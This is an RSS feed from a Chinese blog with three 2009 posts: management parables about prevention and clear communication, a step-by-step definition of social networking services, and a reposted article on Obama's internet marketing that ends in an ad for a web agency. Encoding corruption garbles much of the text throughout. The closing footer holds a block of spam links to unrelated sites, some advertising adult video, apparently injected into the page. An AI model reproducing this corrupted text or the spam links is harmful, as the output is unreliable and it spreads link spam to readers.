四个故?/title><link>http://m.tkk7.com/jasonxiao/archive/2009/12/29/307608.html</link><dc:creator>肖马?/dc:creator><author>肖马?/author><pubDate>Tue, 29 Dec 2009 02:51:00 GMT</pubDate><guid>http://m.tkk7.com/jasonxiao/archive/2009/12/29/307608.html</guid><wfw:comment>http://m.tkk7.com/jasonxiao/comments/307608.html</wfw:comment><comments>http://m.tkk7.com/jasonxiao/archive/2009/12/29/307608.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://m.tkk7.com/jasonxiao/comments/commentRss/307608.html</wfw:commentRss><trackback:ping>http://m.tkk7.com/jasonxiao/services/trackbacks/307608.html</trackback:ping><description><![CDATA[<div style="line-height: 200%; font-size: 14px"><strong>袋鼠与笼?/strong> <br />       有一天动物园理员们发现袋鼠从笼子里跑出来了Q于是开会讨论,一致认为是W子的高度过低。所以它们决定将W子的高度由原来的十公尺加高C十公。结果第二天他们发现袋鼠q是跑到外面来,所以他们又军_再将高度加高C十公?br />       没想到隔天居然又看到袋鼠全跑到外面,于是理员们大ؓ紧张Q决定一不做二不休,笼子的高度加高C癑օ?br />       一天长颈鹿和几只袋鼠们在闲聊,“你们看,q些Z不会再l加高你们的W子Q?#8221;镉K鹉K?br />       “很难说?#8221;袋鼠说∶“如果他们再l忘记关门的话!”<br />       <font color="#ff0000">点评Q事?#8220;本末”?#8220;轻重”?#8220;~?#8221;Q关门是本,加高W子是末Q舍本而逐末Q当然就不得要领了。管理是什么?理是抓事情?#8220;本末”?#8220;轻重”?#8220;~?#8221;?/font><br /> <br /> <br /> <br /> <strong>扁鹊的医?/strong> <br />       文王问名医扁鹊说∶“你们家兄弟三人,都精于医术,到底哪一位最好呢Q?#8221; <br />       扁鹊{说?#8220;长兄最好,中兄ơ之Q我最差?#8221; <br />       文王再问?#8220;那么Z么你最出名呢?” <br />       扁鹊{说?#8220;我长兄治病,是治病于病情发作之前。由于一般h不知道他事先能铲除病因,所以他的名气无法传出去Q只有我们家的h才知道。我中兄ȝQ是ȝ于病情初起之时。一般h以ؓ他只能治d的小病,所以他的名气只及于本乡里。而我扁鹊ȝQ是ȝ于病情严重之时。一般h都看到我在经脉上IK来放血、在皮肤上敷药等大手术,所以以为我的医术高明,名气因此响遍全国?#8221; <br />       文王说∶“你说得好极了?#8221; <br />       <font color="#ff0000">点评Q事后控制不如事中控Ӟ事中控制不如事前控制Q可惜大多数的事业经营者均未能体会到这一点,{到错误的决{造成了重大的损失才寻求I补,有时是亡补牢,为时已晚?/font><br /> <br /> <br /> <br /> <strong>曲突徒薪</strong> <br />       有位客h到某人家里作客,看见Mh家的灶上烟囱是直的,旁边又有很多木材?nbsp;<br />       客h告诉Mh_烟囱要改Ԍ木材ȝ去,否则来可能会有火灾Q主人听了没有做M表示?nbsp;<br />       不久Mh安果然qQ四周的d赶紧跑来救火Q最后火被扑灭了Q于是主人烹宰牛,宴请四邻Q以酬谢他们救火的功劻I但是q没有请当初他将木材U走Q烟囱改曲的人?nbsp;<br />       有h对主?#8220;如果当初听了那位先生的话Q今天也不用准备{席Q而且没有火灾的损失,现在论功行赏Q原先给你徏议的人没有被感恩Q而救火的人却是上客Q真是很奇怪的事呢Q?#8221; <br />       Mh时省悟Q赶紧去邀请当初给予徏议的那个客h来吃酒?nbsp;<br />       <font color="#ff0000">点评Q一般h认ؓQ以摆qx解决企业l营q程中的各种手问题的hQ就是优U的管理者,其实q是有待商榷的,俗话说∶“预防重于ȝ”Q能防患于未然之前,更胜于治׃已成之后Q由此观之,企业问题的预防者,其实是优于企业问题的解决者?/font><br /> <br /> <br /> <strong>U才买?/strong> <br />       有一个秀才去卖材Q他对卖材的?#8220;药者过来!”卖材的h听不?#8220;药?#8221;Q担材的人)三个字,但是听得?#8220;q来”两个字,于是把材担到U才前面?nbsp;<br />       U才问他∶“其h如何Q?#8221;卖材的h听不太懂q句话,但是听得?#8220;?#8221;q个字,于是告诉秀才h钱?nbsp;<br />       U才接着说∶“外实而内虚,烟多而焰,h之。(你的木材外表是干的,里头却是湿的Q燃烧v来,会浓烟多而火焰小Q请减些价钱吧。)”卖材的h因ؓ听不懂秀才的话,于是担着材就C?nbsp;<br />       <font color="#ff0000">点评Q管理者^时最好用单的语言、易懂的a词来传达讯息Q而且对于说话的对象、时有所掌握Q有时过分的修饰反而达不到惌完成的目的?/font></div> <img src ="http://m.tkk7.com/jasonxiao/aggbug/307608.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.tkk7.com/jasonxiao/" target="_blank">肖马?/a> 2009-12-29 10:51 <a href="http://m.tkk7.com/jasonxiao/archive/2009/12/29/307608.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>什么是SNS http://m.tkk7.com/jasonxiao/archive/2009/12/29/307606.html肖马?/dc:creator>肖马?/author>Tue, 29 Dec 2009 02:50:00 GMThttp://m.tkk7.com/jasonxiao/archive/2009/12/29/307606.htmlhttp://m.tkk7.com/jasonxiao/comments/307606.htmlhttp://m.tkk7.com/jasonxiao/archive/2009/12/29/307606.html#Feedback0http://m.tkk7.com/jasonxiao/comments/commentRss/307606.htmlhttp://m.tkk7.com/jasonxiao/services/trackbacks/307606.html一句话说SNSQ通过|络q行C会交往的系l?br />
两句话说SNSQ通过|络q行C会交往的系l。系l中可以衍生出多Ҏ利于联络人的应用?br />
三句话说SNSQ通过|络q行C会交往的系l。系l中可以衍生出多Ҏ利于联络人的应用。这些应用可一对多也可以一对一?br />
四句话说SNSQ通过|络q行C会交往的系l。系l中可以衍生出多Ҏ利于联络人的应用。这些应用可一对多也可以一对一。用户在其中收获的仅仅是联系而非传统的信息?br />
五句话说SNSQ通过|络q行C会交往的系l。系l中可以衍生出多Ҏ利于联络人的应用。这些应用可一对多也可以一对一。用户在其中收获的仅仅是联系而非传统的信息。这些联pd以往的网l中实际已经存在且已成信息化关系?br />
六句话说SNS
Q通过|络q行C会交往的系l。系l中可以衍生出多Ҏ利于联络人的应用。这些应用可一对多也可以一对一。用户在其中收获的仅仅是联系而非传统的信息。这些联pd以往的网l中实际已经存在且已成信息化关系。信息化关系可通过面和操作呈现出来?br />
七句话说SNS
Q通过|络q行C会交往的系l。系l中可以衍生出多Ҏ利于联络人的应用。这些应用可一对多也可以一对一。用户在其中收获的仅仅是联系而非传统的信息。这些联pd以往的网l中实际已经存在且已成信息化关系。信息化关系可通过面和操作呈现出来。这U页面多呈现从Web1.0到Web2.0的进步?/div>

]]>
奥巴马是如何做网l营销{划?/title><link>http://m.tkk7.com/jasonxiao/archive/2009/11/20/303043.html</link><dc:creator>肖马?/dc:creator><author>肖马?/author><pubDate>Fri, 20 Nov 2009 05:55:00 GMT</pubDate><guid>http://m.tkk7.com/jasonxiao/archive/2009/11/20/303043.html</guid><wfw:comment>http://m.tkk7.com/jasonxiao/comments/303043.html</wfw:comment><comments>http://m.tkk7.com/jasonxiao/archive/2009/11/20/303043.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://m.tkk7.com/jasonxiao/comments/commentRss/303043.html</wfw:commentRss><trackback:ping>http://m.tkk7.com/jasonxiao/services/trackbacks/303043.html</trackback:ping><description><![CDATA[  在一q前的世界经论坛上Q比?#183;盖茨Na五年内互联网?#8220;颠覆”电视的地位。而Google公司CEO埃里克则在两q前预言Q?#8220;能够发挥互联|全部潜力的候选hQ将会在下一ơȝ大选中脱颖而出?#8221; <p style="text-indent: 2em">  没想C位IT巨匠的话都被应验了。名不见l传的黑拉克·侯赛?#183;奥巴马斜刺里杀出,一路过x,成功晋񔾟国ȝ竞选的“册”?/p> <p style="text-indent: 2em">  政治观察家们一致认为,奥巴马得以击败希拉里Q?#8220;|络营销”立下了汗马功劻I他也因此被称?#8220;Web2.0时代的营销大师”。奥巴马是如何将原本默默无闻?#8220;个h品牌”做成一?#8220;世界知名品牌”的?</p> <p style="text-indent: 2em">  带着q个疑问反观中国Q中国互联网l信息中心(CNNICQ发布的《第22ơ中国互联网l发展状늻计报告》显C:截至2008q?月底Q我?|民数量辑ֈ?.53亿,首次大幅度超q美国,|民规模跃居世界W一位。如何调动全球最多的|民的神l,成ؓ所有企业网l营销{划旉临的W一道课题。奥巴马会给我们怎样的启C?在Web2.0时代企业如何做品牌,如何通过|络营销{划推广自己的品?</p> <p style="text-indent: 2em">  ?#8220;花样游泳”勑ּ观众</p> <p style="text-indent: 2em">  “我等不及2008q大选,宝贝Q你是最好的候选hQ你采取了边境安全措施,打破你我之间的界限。全民医疗保险,嗯,q我感到温?#8230;…”</p> <p style="text-indent: 2em">  q是视频|站Youtube上《奥巴马令我魂颠倒》的一D|词。在视频中,w着比基的演唱者埃h搔首弄姿Q在奥巴马照片旁大摆性感热G造型Q毫不掩饰地表达着自己对奥巴马的倾慕之情。据l计Q这D视频在Youtube已被点击过900万次Qƈ且被无数的网站和传统媒体转蝲?/p> <p style="text-indent: 2em">  一个不容争辩事实的是,|络营销{划成了本次国大选媄响民意的重要手段Q那些数q前q不存在的传播渠道如博客、MyspaceC֌、Youtube视频Q显C出巨大影响力,p肯尼q、尼克松引以的电视辩论都相Ş见绌?/p> <p style="text-indent: 2em">  q不由想起在刚刚l束的北京奥q会上,花样游泳、沙滩排球吸引了不少中国看。在饱受几千q封建思想z礼的中国,q两运动终于让普通老百姓大开眼界一睹其真面目。ؓ什么受Ƣ迎Q因为其_l仑的动作能让hD~ؕQ甚至?#8220;意ؕ情迷”的惟?/p> <p style="text-indent: 2em">  |络营销{划是什么?|络营销是能让人目不暇接、能让h连忘返、能让h意ؕ情迷、能让h改变初衷的在U营销与品牌推qѝ?/p> <p style="text-indent: 2em">  奥巴马击败希拉里Q招招不M联网可以看出|络营销{划无处不在。奥巴马寚w凯恩出招Q又是招招不M联网。电子邮件、手机短信、视频网站,不一而。在奥巴马的竞选网站上Q可以直接点击观看奥巴马视频Q在U购买奥巴马标记的品,下蝲奥巴马的演讲作ؓ手机铃声。奥巴马玩{|络营销{划Q像表演“花样游泳”一L引着|民手中?鼠标?/p> <p style="text-indent: 2em">  |络营销{划不是几个弹出的广告,不是“BBS炒作”Q而是一pd|络推广手段的整合。网l营销{划是组合拳Q是花样游泳Q得有一双双修长的美ѝ一套漂亮的动作?#8220;勑ּ”观众?/p> <p style="text-indent: 2em">  l合投资可以分散风险Q就要注?#8220;二八原则”Q但同时也不能忽?#8220;长尾效应”?/p> <p style="text-indent: 2em">  搜烦引擎、BBS、视频、电子杂志就是发挥着“?#8221;作用?#8220;?#8221;Q但是还有更多的“长尾”不容忽视Q如博客、SNS、百度脓吧等?/p> <p style="text-indent: 2em">  搜烦引擎一度在|络营销{划中发挥了显赫作用Q而随着竞h排名的透明化,用户也开始擦亮眼睛。相比之下网lBBS营销则更加隐蔽而不至于让h生厌Q今q有“两个一亿元”不得不提。王老吉亿元捐款“遭封杀”是比较成功的BBS营销案例Q而盘古大观编?#8220;盖茨亿元U楼看奥q?#8221;的假新闻在各大论坛进行炒 作,虽然知名度上MQ但是美誉度却堪比脑白金?/p> <p style="text-indent: 2em">  《一个馒头引发的血案》最大限度地为《无极》做了推qѝ前不久看到太^z汽车网上一个视频《希特勒怒骂q腾上市》,利用名h希特勒正话反_?属一l,目前点击已近20万。七星购物在B2C领域知名度远不及当当和卓,甚至略逊于京东商城、红孩子Q而今q以来其通过商品视频化的销售方式,大幅提高了商品的x度。一度被视作?#8220;黄色嫌疑”?#8220;女视频聊天”也得以成功应用,q奛_购员使用视频聊天室的方式Q直接向用户展示商品或提供视频导购服务,受到了空前的Ƣ迎?/p> <p style="text-indent: 2em">正所?#8220;得终端者得天下”。有研究表明Q导购员在终端的诱导购买Q经怋ə֮改变购买初衷?#8220;视频营销”宛如网l终端的商品D员,通过直接介绍、间接诱导等形式Qy妙嵌入品牌和产品信息。一D는动Ş象的视频Q可以需求犹豫者更加坚定,使无需求者生需求。上h普网l可以帮助你q行|络营销让你快速实现奥巴马一L成WQ网l营销{划</p> <p style="text-indent: 2em">    本文Q上h普网l,<a href="">http://www.eshyp.com</a>Q?转蝲请保留链接出处,谢谢配合?/p> <img src ="http://m.tkk7.com/jasonxiao/aggbug/303043.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.tkk7.com/jasonxiao/" target="_blank">肖马?/a> 2009-11-20 13:55 <a href="http://m.tkk7.com/jasonxiao/archive/2009/11/20/303043.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss> <footer> <div class="friendship-link"> <p>лǵվܻԴȤ</p> <a href="http://m.tkk7.com/" title="亚洲av成人片在线观看">亚洲av成人片在线观看</a> <div class="friend-links"> </div> </div> </footer> վ֩ģ壺 <a href="http://wwwby1378.com" target="_blank">18Ůȴ</a>| <a href="http://jybelt.com" target="_blank">18վƵվ</a>| <a href="http://laxdz.com" target="_blank">ٸƷһѶ̬</a>| <a href="http://wenbye.com" target="_blank">þŮƷƷ </a>| <a href="http://1897tao.com" target="_blank">˳ɾƷƵ</a>| <a href="http://saohuo7.com" target="_blank">պƷרַ</a>| <a href="http://zaideqin.com" target="_blank">99re6ƵƷѹۿ</a>| <a href="http://57fi.com" target="_blank">ձŷɫƵ߲</a>| <a href="http://www-887234.com" target="_blank">ƷŮþþ</a>| <a href="http://jujiamy.com" target="_blank">ɫƷСƵ</a>| <a href="http://www-959kj.com" target="_blank">Ƶѹۿ</a>| <a href="http://cn-taoqigui.com" target="_blank">רһvavר </a>| <a href="http://295301.com" target="_blank">ɫɫۺվ</a>| <a href="http://sczssc.com" target="_blank">պƷAƬձ</a>| <a href="http://se969.com" target="_blank">ƷŮҹˬˬˬ</a>| <a href="http://ziniurj.com" target="_blank">弶18ѿ</a>| <a href="http://thinkchating.com" target="_blank"></a>| <a href="http://jiayila.com" target="_blank">337pձŷ޴</a>| <a href="http://18888kj.com" target="_blank">þþþþ99avվ</a>| <a href="http://144446.com" target="_blank">Ӱ߹ۿ</a>| <a href="http://dzhyyy.com" target="_blank">ŷ߹ۿ</a>| <a href="http://xawsfkaisuo.com" target="_blank">޾Ʒվ</a>| <a href="http://289qq.com" target="_blank">ѿƷ3aƵƵ</a>| <a href="http://miya863.com" target="_blank">йɫվ</a>| <a href="http://eee94.com" target="_blank">ַ߹ۿ㶮</a>| <a href="http://my94ok.com" target="_blank">AҹƬƷվ</a>| <a href="http://df8848.com" target="_blank">ձһ߹ۿ</a>| <a href="http://tha2008.com" target="_blank">þþƷר</a>| <a href="http://qqcao7.com" target="_blank">ɫ޵һ</a>| <a href="http://tom-erc20.com" target="_blank">av</a>| <a href="http://69ct.com" target="_blank">78˾ƷӰ߲պƷӰһ </a>| <a href="http://wwwaa875.com" target="_blank">þۺ³³</a>| <a href="http://www-777730.com" target="_blank">˳վɫ</a>| <a href="http://18jko.com" target="_blank">ŮvƬ</a>| <a href="http://mcjc1.com" target="_blank">ԻȫƵվ</a>| <a href="http://ttooyuyu.com" target="_blank">ɫҹƵѲ</a>| <a href="http://51708695.com" target="_blank">ۺƵ</a>| <a href="http://js-jiarui.com" target="_blank">ŷۺһ </a>| <a href="http://bwgdbjb.com" target="_blank">ƷѴƬ</a>| <a href="http://tiantangapp.com" target="_blank">ŷղ</a>| <a href="http://pj9xx6.com" target="_blank">þҹɫƷ</a>| <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body>